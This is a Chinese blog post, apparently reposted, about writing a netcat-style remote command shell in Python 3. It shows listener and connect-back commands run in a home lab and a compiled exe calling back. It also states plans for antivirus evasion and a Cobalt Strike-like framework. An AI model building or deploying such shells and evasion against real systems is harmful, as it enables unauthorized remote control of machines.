python編寫nc的思考


0x00 前言

發現自己學習python已經有半個月了,也開發了自己的一些滲透的小腳本,但覺得還是不夠,我個人覺得工具和腳本還有框架是個本質上的區別。腳本的話,不會考慮到其他的一些因素,例如報錯和交互性。要是有的話可能還要在工具里面修改到一些參數,然后才能進行使用。簡單點來過腳本給我的概念就是編寫出來能用就行。而工具具有的是一些交互性讓對方輸入自己想要的命令或者說參數,然后執行不需要頻繁改代碼再使用。還有的就是容錯率,對應工具來說一些因為參數輸入不正確,直接爆出一片紅的,這個對用戶來說並不是很友好,並且報錯的話程序也會立即停止。這里再來說到框架,框架這個容錯率和交互性肯定不用說了,這個是必備的,框架還必須具備的功能的齊全性和可移植性。

 

0x01 工具開發

在年初就一直計划着用python來編寫個nc,但一直沒有去實現,當時也買了本python黑帽子回來看,但由於python黑帽子是基於2.7版本的。python2.7和python3.7有很大的差異,后面也沒有找到幾個編寫nc的書籍來做參考,所以當時的想法就破滅了。近幾天來奇怪的想法又產生了,就使用了python3來編寫這個nc,其實nc的編寫非常簡單也就是socket通訊,然后接受執行命令,執行的結果返回給我們的服務端。說白了也就是socket的通訊模型,只不過加了個執行命令的模塊把執行結果給返回了。在后期想把這個nc再進行優化,例如可以完善成一個滲透框架,接受多個會話並且自由切換會話,設置心跳,上傳下載功能,並且多個通訊隧道,打造成一個python版cs,python寫的工具編譯成exe程序的免殺效果 除了文件大了點外,還是很可觀的。

使用kali進行nc監聽

nc -lvp 4444

然后來到python 版本nc這邊使用python_nc去連接

nc.py -i 192.168.3.39 -p 4444

 

 

 

 命令執行成功,但是由於這里是因為編碼的問題會亂碼,kali里面改成gbk的編碼就ok了。

 

這里再來測試他的服務端。

python_nc 改成監聽模式

nc.py -l 4444

這里直接把python編譯成exe,然后去我的win7進行操作,這里的demo的,只有客戶端去連接的功能,用的是sys去接收,命令參數還沒寫,這里為了方便,用他來做個演示。

demo.exe 192.168.3.13 4444

這時候我們就可以在服務端來輸入命令了

 

因為在昨天去調試的時候python提示編碼錯誤,在 打印的地方加多個encoding='GBK',使用gbk編碼就好了。能成功輸出中文。

這里是沒問題的,但是如果輸入不正確的命令的話,就會直接報錯並且停止。在后來去找了一些原因是因為使用了 subprocess.check_output這個函數來執行命令,所以才會出現這種問題。這個函數

執行命令,如果狀態碼是0,則返回執行結果,否則拋出異常。再后面也會逐步去完善功能。

 

在下面給各位師傅們貼出github地址,有什么問題或者說建議的話也可以和我探討。

github:https://github.com/nice0e3/python_nc/

0x02 結尾

在末尾,給大家貼張表情包。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM